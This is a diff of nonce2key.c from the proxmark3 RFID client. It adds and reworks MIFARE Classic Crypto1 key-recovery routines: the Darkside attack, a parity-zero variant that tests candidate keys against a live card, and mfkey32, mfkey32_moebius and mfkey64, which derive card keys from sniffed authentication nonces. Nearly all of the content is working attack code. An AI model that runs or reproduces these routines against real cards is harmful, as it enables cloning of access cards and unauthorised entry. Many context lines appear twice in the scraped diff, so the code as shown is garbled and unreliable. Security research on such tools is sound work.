CHG: removed unused variable

[proxmark3-svn] / client / nonce2key / nonce2key.c

diff --git a/client/nonce2key/nonce2key.c b/client/nonce2key/nonce2key.c
index 2d0590df384bf27b7bcae53d36af315245472c69..638469a47686ccaf382496329fc5c2bf35ebcc00 100644 (file)
--- a/client/nonce2key/nonce2key.c
+++ b/client/nonce2key/nonce2key.c
@@ -10,12 +10,8 @@
 // MIFARE Darkside hack
 //-----------------------------------------------------------------------------
 #include "nonce2key.h"
 // MIFARE Darkside hack
 //-----------------------------------------------------------------------------
 #include "nonce2key.h"

-#include "mifarehost.h"
-#include "ui.h"
-#include "proxmark3.h"

 
 int nonce2key(uint32_t uid, uint32_t nt, uint32_t nr, uint64_t par_info, uint64_t ks_info, uint64_t * key) {
 
 int nonce2key(uint32_t uid, uint32_t nt, uint32_t nr, uint64_t par_info, uint64_t ks_info, uint64_t * key) {

-

        struct Crypto1State *state;
        uint32_t i, pos, rr = 0, nr_diff;
        byte_t bt, ks3x[8], par[8][8];
        struct Crypto1State *state;
        uint32_t i, pos, rr = 0, nr_diff;
        byte_t bt, ks3x[8], par[8][8];


@@ -23,7 +19,7 @@ int nonce2key(uint32_t uid, uint32_t nt, uint32_t nr, uint64_t par_info, uint64_
        // Reset the last three significant bits of the reader nonce
        nr &= 0xffffff1f;
   
        // Reset the last three significant bits of the reader nonce
        nr &= 0xffffff1f;
   

-       PrintAndLog("\nuid(%08x) nt(%08x) par(%016"llx") ks(%016"llx") nr(%08"llx")\n\n", uid, nt, par_info, ks_info, nr);
+       PrintAndLog("uid(%08x) nt(%08x) par(%016"llx") ks(%016"llx") nr(%08x)\n", uid, nt, par_info, ks_info, nr);

 
        for ( pos = 0; pos < 8; pos++ ) {
                ks3x[7-pos] = (ks_info >> (pos*8)) & 0x0f;
 
        for ( pos = 0; pos < 8; pos++ ) {
                ks3x[7-pos] = (ks_info >> (pos*8)) & 0x0f;


@@ -34,55 +30,181 @@ int nonce2key(uint32_t uid, uint32_t nt, uint32_t nr, uint64_t par_info, uint64_
                }
        }
 
                }
        }
 

+       printf("+----+--------+---+-----+---------------+\n");

        printf("|diff|{nr}    |ks3|ks3^5|parity         |\n");
        printf("+----+--------+---+-----+---------------+\n");
        printf("|diff|{nr}    |ks3|ks3^5|parity         |\n");
        printf("+----+--------+---+-----+---------------+\n");

-

        for ( i = 0; i < 8; i++) {
                nr_diff = nr | i << 5;
        for ( i = 0; i < 8; i++) {
                nr_diff = nr | i << 5;

-               printf("| %02x |%08x|", i << 5, nr_diff);
-               printf(" %01x |  %01x  |", ks3x[i], ks3x[i]^5);
+               printf("| %02x |%08x| %01x |  %01x  |", i << 5, nr_diff, ks3x[i], ks3x[i]^5);
+

                for (pos = 0; pos < 7; pos++) printf("%01x,", par[i][pos]);
                printf("%01x|\n", par[i][7]);
        }
        printf("+----+--------+---+-----+---------------+\n");
 
                for (pos = 0; pos < 7; pos++) printf("%01x,", par[i][pos]);
                printf("%01x|\n", par[i][7]);
        }
        printf("+----+--------+---+-----+---------------+\n");
 

+       clock_t t1 = clock();
+

        state = lfsr_common_prefix(nr, rr, ks3x, par);
        state = lfsr_common_prefix(nr, rr, ks3x, par);

-       lfsr_rollback_word(state, uid^nt, 0);
+       lfsr_rollback_word(state, uid ^ nt, 0);

        crypto1_get_lfsr(state, key);
        crypto1_destroy(state);
        crypto1_get_lfsr(state, key);
        crypto1_destroy(state);

+
+       t1 = clock() - t1;
+       if ( t1 > 0 ) PrintAndLog("Time in nonce2key: %.0f ticks \n", (float)t1);

        return 0;
 }
 
        return 0;
 }
 

-// *outputkey is not used...
-int tryMfk32(uint64_t myuid, uint8_t *data, uint8_t *outputkey ){
+int compar_intA(const void * a, const void * b) {
+       if (*(int64_t*)b == *(int64_t*)a) return 0;
+       if (*(int64_t*)b > *(int64_t*)a) return 1;
+       return -1;
+}
+
+// call when PAR == 0,  special attack?  It seems to need two calls.  with same uid, block, keytype
+int nonce2key_ex(uint8_t blockno, uint8_t keytype, uint32_t uid, uint32_t nt, uint32_t nr, uint64_t ks_info, uint64_t * key) {

 
 

+       struct Crypto1State *state;
+       uint32_t i, pos, key_count;
+       uint8_t ks3x[8];
+       uint64_t key_recovered;
+       int64_t *state_s;
+       static uint8_t last_blockno;
+       static uint8_t last_keytype;
+       static uint32_t last_uid;
+       static int64_t *last_keylist;
+  
+       if (last_uid != uid &&
+               last_blockno != blockno &&
+               last_keytype != keytype &&
+               last_keylist != NULL)
+       {
+               free(last_keylist);
+               last_keylist = NULL;
+       }
+       last_uid = uid;
+       last_blockno = blockno;
+       last_keytype = keytype;
+
+       // Reset the last three significant bits of the reader nonce
+       nr &= 0xffffff1f;
+ 
+       // split keystream into array
+       for (pos=0; pos<8; pos++) {
+               ks3x[7-pos] = (ks_info >> (pos*8)) & 0x0f;
+       }
+ 
+       // find possible states for this keystream
+       state = lfsr_common_prefix_ex(nr, ks3x);
+
+       if (!state) {
+               key_count = 0;
+               PrintAndLog("Failed getting states");
+               return 1;
+       }
+       
+       state_s = (int64_t*)state;
+       
+       uint32_t xored = uid ^ nt;
+       
+       for (i = 0; (state) && ((state + i)->odd != -1); i++) {
+               lfsr_rollback_word(state + i, xored, 0);
+               crypto1_get_lfsr(state + i, &key_recovered);
+               *(state_s + i) = key_recovered;
+       }
+
+       qsort(state_s, i, sizeof(int64_t), compar_intA);
+       *(state_s + i) = -1;
+       
+       // first call to this function.  clear all other stuff and set new found states.
+       if (last_keylist == NULL) {
+               key_count = 0;
+               free(last_keylist);
+               last_keylist = state_s;
+               PrintAndLog("parity is all zero, testing special attack. First call, this attack needs at least two calls. Hold on...");                
+               PrintAndLog("uid(%08x) nt(%08x) ks(%016"llx") nr(%08x)\n", uid, nt, ks_info, nr);
+               return 1;
+       }
+
+       PrintAndLog("uid(%08x) nt(%08x) ks(%016"llx") nr(%08x)\n", uid, nt, ks_info, nr);
+               
+       //Create the intersection:
+       int64_t *p1, *p2, *p3;
+       p1 = p3 = last_keylist; 
+       p2 = state_s;
+               
+       while ( *p1 != -1 && *p2 != -1 ) {
+               if (compar_intA(p1, p2) == 0) {
+                       printf("p1:%"llx" p2:%"llx" p3:%"llx" key:%012"llx"\n",(uint64_t)(p1-last_keylist),(uint64_t)(p2-state_s),(uint64_t)(p3-last_keylist),*p1);
+                       *p3++ = *p1++;
+                       p2++;
+               }
+               else {
+                       while (compar_intA(p1, p2) == -1) ++p1;
+                       while (compar_intA(p1, p2) == 1) ++p2;
+               }
+       }
+       key_count = p3 - last_keylist;
+       printf("key_count: %d\n", key_count);
+       if ( key_count == 0 ){
+               free(state);
+               state = NULL;
+               return 0;
+       }
+       
+       uint8_t retval = 1;
+       // Validate all key candidates with testing each of them with mfCheckKeys
+       uint8_t keyBlock[6] = {0,0,0,0,0,0};
+       uint64_t key64;
+       for (i = 0; i < key_count; i++) {
+               key64 = *(last_keylist + i);
+               num_to_bytes(key64, 6, keyBlock);
+               key64 = 0;
+               if (!mfCheckKeys(blockno, keytype, false, 1, keyBlock, &key64)) {
+                       *key = key64;
+                       retval = 0;
+                       goto out;
+               }
+       }
+       
+out:
+       free(last_keylist);
+       last_keylist = NULL;
+       free(state);
+       state = NULL;
+       return retval;
+}
+
+// 32 bit recover key from 2 nonces
+bool tryMfk32(nonces_t data, uint64_t *outputkey, bool verbose) {

        struct Crypto1State *s,*t;
        struct Crypto1State *s,*t;

-       uint64_t key;     // recovered key
-       uint32_t uid;     // serial number
-       uint32_t nt;      // tag challenge
-       uint32_t nr0_enc; // first encrypted reader challenge
-       uint32_t ar0_enc; // first encrypted reader response
-       uint32_t nr1_enc; // second encrypted reader challenge
-       uint32_t ar1_enc; // second encrypted reader response   
+       uint64_t outkey = 0;
+       uint64_t key=0;     // recovered key
+       uint32_t uid     = data.cuid;
+       uint32_t nt      = data.nonce;  // first tag challenge (nonce)
+       uint32_t nr0_enc = data.nr;  // first encrypted reader challenge
+       uint32_t ar0_enc = data.ar;  // first encrypted reader response
+       uint32_t nr1_enc = data.nr2; // second encrypted reader challenge
+       uint32_t ar1_enc = data.ar2; // second encrypted reader response

        bool isSuccess = FALSE;
        bool isSuccess = FALSE;

-       int counter = 0;
+       uint8_t counter = 0;

        
        

-       uid     = myuid;//(uint32_t)bytes_to_num(data +  0, 4);
-       nt              = *(uint32_t*)(data+8);
-       nr0_enc = *(uint32_t*)(data+12);
-       ar0_enc = *(uint32_t*)(data+16);
-       nr1_enc = *(uint32_t*)(data+32);
-       ar1_enc = *(uint32_t*)(data+36);
-
-       // PrintAndLog("recovering key for:");
-       // PrintAndLog("    uid: %08x   %08x",uid, myuid);
-       // PrintAndLog("     nt: %08x",nt);
-       // PrintAndLog(" {nr_0}: %08x",nr0_enc);
-       // PrintAndLog(" {ar_0}: %08x",ar0_enc);
-       // PrintAndLog(" {nr_1}: %08x",nr1_enc);
-       // PrintAndLog(" {ar_1}: %08x",ar1_enc);
-
-       s = lfsr_recovery32(ar0_enc ^ prng_successor(nt, 64), 0);
+       clock_t t1 = clock();
+       uint32_t p64 = prng_successor(nt, 64);
+               
+       if ( verbose ) {
+               printf("Recovering key for:\n");
+               printf("    uid: %08x\n",uid);
+               printf("     nt: %08x\n",nt);
+               printf(" {nr_0}: %08x\n",nr0_enc);
+               printf(" {ar_0}: %08x\n",ar0_enc);
+               printf(" {nr_1}: %08x\n",nr1_enc);
+               printf(" {ar_1}: %08x\n",ar1_enc);
+               printf("\nLFSR succesors of the tag challenge:\n");
+               printf("  nt': %08x\n", p64);
+               printf(" nt'': %08x\n", prng_successor(p64, 32));
+       }
+       
+       s = lfsr_recovery32(ar0_enc ^ p64, 0);

   
        for(t = s; t->odd | t->even; ++t) {
                lfsr_rollback_word(t, 0, 0);
   
        for(t = s; t->odd | t->even; ++t) {
                lfsr_rollback_word(t, 0, 0);


@@ -91,43 +213,56 @@ int tryMfk32(uint64_t myuid, uint8_t *data, uint8_t *outputkey ){
                crypto1_get_lfsr(t, &key);
                crypto1_word(t, uid ^ nt, 0);
                crypto1_word(t, nr1_enc, 1);
                crypto1_get_lfsr(t, &key);
                crypto1_word(t, uid ^ nt, 0);
                crypto1_word(t, nr1_enc, 1);

-               if (ar1_enc == (crypto1_word(t, 0, 0) ^ prng_successor(nt, 64))) {
-                       PrintAndLog("Found Key: [%012"llx"]", key);
-                       isSuccess = TRUE;
+               if (ar1_enc == (crypto1_word(t, 0, 0) ^ p64)) {
+                       outkey = key;

                        ++counter;
                        ++counter;

-                       if (counter==20)
-                               break;
+                       if (counter==20) break;

                }
        }
                }
        }

-       
-       num_to_bytes(key, 6, outputkey);
-       crypto1_destroy(t);
+       isSuccess = (counter > 0);
+       t1 = clock() - t1;
+       if ( t1 > 0 ) PrintAndLog("Time in mfkey32: %.0f ticks  - possible keys %d\n", (float)t1, counter);
+
+       *outputkey = ( isSuccess ) ? outkey : 0;        
+       crypto1_destroy(s);

        return isSuccess;
 }
 
        return isSuccess;
 }
 

-int tryMfk32_moebius(uint64_t myuid, uint8_t *data, uint8_t *outputkey ){
-
+bool tryMfk32_moebius(nonces_t data, uint64_t *outputkey, bool verbose) {

        struct Crypto1State *s, *t;
        struct Crypto1State *s, *t;

-       uint64_t key;     // recovered key
-       uint32_t uid;     // serial number
-       uint32_t nt0;     // tag challenge first
-       uint32_t nt1;     // tag challenge second
-       uint32_t nr0_enc; // first encrypted reader challenge
-       uint32_t ar0_enc; // first encrypted reader response
-       uint32_t nr1_enc; // second encrypted reader challenge
-       uint32_t ar1_enc; // second encrypted reader response   
+       uint64_t outkey  = 0;
+       uint64_t key     = 0;                        // recovered key
+       uint32_t uid     = data.cuid;
+       uint32_t nt0     = data.nonce;  // first tag challenge (nonce)
+       uint32_t nr0_enc = data.nr;  // first encrypted reader challenge
+       uint32_t ar0_enc = data.ar; // first encrypted reader response
+       //uint32_t uid1    = le32toh(data+16);
+       uint32_t nt1     = data.nonce2; // second tag challenge (nonce)
+       uint32_t nr1_enc = data.nr2; // second encrypted reader challenge
+       uint32_t ar1_enc = data.ar2; // second encrypted reader response        

        bool isSuccess = FALSE;
        int counter = 0;
        bool isSuccess = FALSE;
        int counter = 0;

+
+       clock_t t1 = clock();
+
+       uint32_t p640 = prng_successor(nt0, 64);
+       uint32_t p641 = prng_successor(nt1, 64);

        
        

-       uid     = myuid;//(uint32_t)bytes_to_num(data +  0, 4);
-       nt0     = *(uint32_t*)(data+8);
-       nr0_enc = *(uint32_t*)(data+12);
-       ar0_enc = *(uint32_t*)(data+16);
-       nt1     = *(uint32_t*)(data+8);
-       nr1_enc = *(uint32_t*)(data+32);
-       ar1_enc = *(uint32_t*)(data+36);
-
-       s = lfsr_recovery32(ar0_enc ^ prng_successor(nt0, 64), 0);
+       if (verbose) {
+               printf("Recovering key for:\n");
+               printf("    uid: %08x\n", uid);
+               printf("   nt_0: %08x\n", nt0);
+               printf(" {nr_0}: %08x\n", nr0_enc);
+               printf(" {ar_0}: %08x\n", ar0_enc);
+               printf("   nt_1: %08x\n", nt1);
+               printf(" {nr_1}: %08x\n", nr1_enc);
+               printf(" {ar_1}: %08x\n", ar1_enc);
+               printf("\nLFSR succesors of the tag challenge:\n");
+               printf("  nt': %08x\n", p640);
+               printf(" nt'': %08x\n", prng_successor(p640, 32));
+       }
+       
+       s = lfsr_recovery32(ar0_enc ^ p640, 0);

   
        for(t = s; t->odd | t->even; ++t) {
                lfsr_rollback_word(t, 0, 0);
   
        for(t = s; t->odd | t->even; ++t) {
                lfsr_rollback_word(t, 0, 0);


@@ -137,62 +272,54 @@ int tryMfk32_moebius(uint64_t myuid, uint8_t *data, uint8_t *outputkey ){
                
                crypto1_word(t, uid ^ nt1, 0);
                crypto1_word(t, nr1_enc, 1);
                
                crypto1_word(t, uid ^ nt1, 0);
                crypto1_word(t, nr1_enc, 1);

-               if (ar1_enc == (crypto1_word(t, 0, 0) ^ prng_successor(nt1, 64))) {
-                       PrintAndLog("Found Key: [%012"llx"]",key);
-                       isSuccess = TRUE;
+               if (ar1_enc == (crypto1_word(t, 0, 0) ^ p641)) {
+                       outkey=key;

                        ++counter;
                        ++counter;

-                       if (counter==20)
-                               break;
+                       if (counter==20) break;

                }
        }
                }
        }

-       num_to_bytes(key, 6, outputkey);
-       crypto1_destroy(t);
+    isSuccess  = (counter > 0);
+       t1 = clock() - t1;
+       if ( t1 > 0 ) PrintAndLog("Time in mfkey32_moebius: %.0f ticks  - possible keys %d\n", (float)t1, counter);
+
+       *outputkey = ( isSuccess ) ? outkey : 0;
+       crypto1_destroy(s);

        return isSuccess;
 }
 
        return isSuccess;
 }
 

-int tryMfk64(uint64_t myuid, uint8_t *data, uint8_t *outputkey ){
+int tryMfk64_ex(uint8_t *data, uint64_t *outputkey){
+       uint32_t uid    = le32toh(data);
+       uint32_t nt     = le32toh(data+4);  // tag challenge
+       uint32_t nr_enc = le32toh(data+8);  // encrypted reader challenge
+       uint32_t ar_enc = le32toh(data+12); // encrypted reader response        
+       uint32_t at_enc = le32toh(data+16);     // encrypted tag response
+       return tryMfk64(uid, nt, nr_enc, ar_enc, at_enc, outputkey);
+}

 
 

+int tryMfk64(uint32_t uid, uint32_t nt, uint32_t nr_enc, uint32_t ar_enc, uint32_t at_enc, uint64_t *outputkey){
+       uint64_t key = 0;               // recovered key
+       uint32_t ks2;                   // keystream used to encrypt reader response
+       uint32_t ks3;                   // keystream used to encrypt tag response

        struct Crypto1State *revstate;
        struct Crypto1State *revstate;

-       uint64_t key;     // recovered key
-       uint32_t uid;     // serial number
-       uint32_t nt;      // tag challenge
-       uint32_t nr_enc;  // encrypted reader challenge
-       uint32_t ar_enc;  // encrypted reader response
-       uint32_t at_enc;  // encrypted tag response
-       uint32_t ks2;     // keystream used to encrypt reader response
-       uint32_t ks3;     // keystream used to encrypt tag response
-
-       struct Crypto1State mpcs = {0, 0};
-       struct Crypto1State *pcs;
-       pcs = &mpcs;

        
        

-       uid     = myuid;//(uint32_t)bytes_to_num(data +  0, 4);
-       nt              = *(uint32_t*)(data+8);
-       nr_enc = *(uint32_t*)(data+12);
-       ar_enc = *(uint32_t*)(data+16);
+       PrintAndLog("Enter mfkey64");
+       clock_t t1 = clock();

        
        

-       crypto1_word(pcs, nr_enc , 1);
-       at_enc = prng_successor(nt, 96) ^ crypto1_word(pcs, 0, 0);
-
-       // printf("Recovering key for:\n");
-       // printf("  uid: %08x\n",uid);
-       // printf("   nt: %08x\n",nt);
-       // printf(" {nr}: %08x\n",nr_enc);
-       // printf(" {ar}: %08x\n",ar_enc);
-       // printf(" {at}: %08x\n",at_enc);
-

        // Extract the keystream from the messages
        ks2 = ar_enc ^ prng_successor(nt, 64);
        ks3 = at_enc ^ prng_successor(nt, 96);
        // Extract the keystream from the messages
        ks2 = ar_enc ^ prng_successor(nt, 64);
        ks3 = at_enc ^ prng_successor(nt, 96);

-

        revstate = lfsr_recovery64(ks2, ks3);
        lfsr_rollback_word(revstate, 0, 0);
        lfsr_rollback_word(revstate, 0, 0);
        lfsr_rollback_word(revstate, nr_enc, 1);
        lfsr_rollback_word(revstate, uid ^ nt, 0);
        crypto1_get_lfsr(revstate, &key);
        revstate = lfsr_recovery64(ks2, ks3);
        lfsr_rollback_word(revstate, 0, 0);
        lfsr_rollback_word(revstate, 0, 0);
        lfsr_rollback_word(revstate, nr_enc, 1);
        lfsr_rollback_word(revstate, uid ^ nt, 0);
        crypto1_get_lfsr(revstate, &key);

-       PrintAndLog("Found Key: [%012"llx"]",key);
-       num_to_bytes(key, 6, outputkey);
+
+       PrintAndLog("Found Key: [%012"llx"]", key);
+       t1 = clock() - t1;
+       if ( t1 > 0 ) PrintAndLog("Time in mfkey64: %.0f ticks \n", (float)t1);
+
+       *outputkey = key;

        crypto1_destroy(revstate);
        return 0;
        crypto1_destroy(revstate);
        return 0;

-}
\ No newline at end of file
+}